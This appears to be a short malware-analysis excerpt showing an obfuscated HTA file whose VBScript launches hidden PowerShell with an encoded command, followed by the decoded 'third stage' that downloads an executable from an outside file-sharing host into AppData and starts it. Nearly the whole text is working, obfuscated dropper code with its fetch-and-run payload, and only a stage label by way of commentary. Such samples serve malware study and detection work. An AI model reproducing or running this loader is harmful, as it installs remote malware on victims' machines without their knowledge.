Powershell

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<sCRIpt tYpe="TeXt/vbsCriPt">
diM     aVaTPJApZYtKZAr :       Dim     CyvVcHgoDwWIwkL :       SeT     aVaTPJApZYtKZAr =       cREATeObjeCT    (       ChrW(&H77) & StrReverse(ChrW(&H53)) & ChrW(&H43) & Chr(&H72) & StrReverse(Chr(&H49)) & Chr(&H70) & ChrW(&H74) & Chr(&H2E) & StrReverse(Chr(&H73)) & Chr(&H68) & Chr(&H65) & StrReverse(Chr(&H6C)) & Chr(&H4C)        )       :       CyvVcHgoDwWIwkL =       "       PowersHELl.EXE  -Ex     bYPaSS  -nOp    -W  hiDden   -eC     CQAoAE4ARQBXAC0AbwBCAEoARQBDAFQAIABTAFkAUwB0AGUATQAuAG4AZQBUAC4AdwBlAGIAYwBsAGkARQBuAFQAKQAuAGQAbwBXAE4ATABvAGEAZABGAEkAbABFACgACQAdIGgAdAB0AHAAcwA6AC8ALwBmAGkAbABlAHQAZQBhAC4AbQBlAC8AbgAzAHcAVgA4AGIAUQBEADYAUAB2AFMAVgA2AFEAQQBtAFEAcgB1AHIATgBnAE8AUQAvAGQAbAAdIAkALAAJAB0gJABFAG4AdgA6AGEAcABQAGQAQQBUAGEAXABqAGcAaABmAGcAZABmAHQAaABqAGYAZABkAGcAaABoAGgAZgBkAHMAZABmAHMAZgBkAHIAZgB0AHIAZgBkAGQAZgBkAGYAZwBmAGYAZgBkAGcAZABnAGYAZwBmAGYAZgBnAC4AZQB4AGUAHSAJACkACQA7AAkAcwB0AEEAUgBUAAkAHSAkAEUAbgBWADoAQQBQAHAAZABhAHQAQQBcAGoAZwBoAGYAZwBkAGYAdABoAGoAZgBkAGQAZwBoAGgAaABmAGQAcwBkAGYAcwBmAGQAcgBmAHQAcgBmAGQAZABmAGQAZgBnAGYAZgBmAGQAZwBkAGcAZgBnAGYAZgBmAGcALgBlAHgAZQAdIA==       "       :       aVaTPJApZYtKZAr.rUN     chR     (       34      )       &       aVaTPJApZYtKZAr.ExPANdenviRoNMentSTriNgs(       Chr(&H25) & StrReverse(Chr(&H63)) & StrReverse(Chr(&H4F)) & Chr(&H6D) & ChrW(&H73) & StrReverse(Chr(&H50)) & StrReverse(ChrW(&H65)) & Chr(&H43) & StrReverse(Chr(&H25))      )       &       chr     (       34      )       &       CHr     (       34  )&       StrReverse(Chr(&H2F)) & ChrW(&H63) & StrReverse(Chr(&H20))      &       CyvVcHgoDwWIwkL &       chr     (       34      )       ,       0       :       seT     aVaTPJApZYtKZAr =       noTHING
seLf.CLosE
</script>

</body>
</html>

3rd stage
(NEW-oBJECT SYSteM.neT.webcliEnT).doWNLoadFIlE(  https://filetea.me/n3wV8bQD6PvSV6QAmQrurNgOQ/dl        ,        $Env:apPdATa\jghfgdfthjfddghhhfdsdfsfdrftrfddfdfgfffdgdgfgfffg.exe   )       ;       stART    $EnV:APpdatA\jghfgdfthjfddghhhfdsdfsfdrftrfddfdfgfffdgdgfgfffg.exe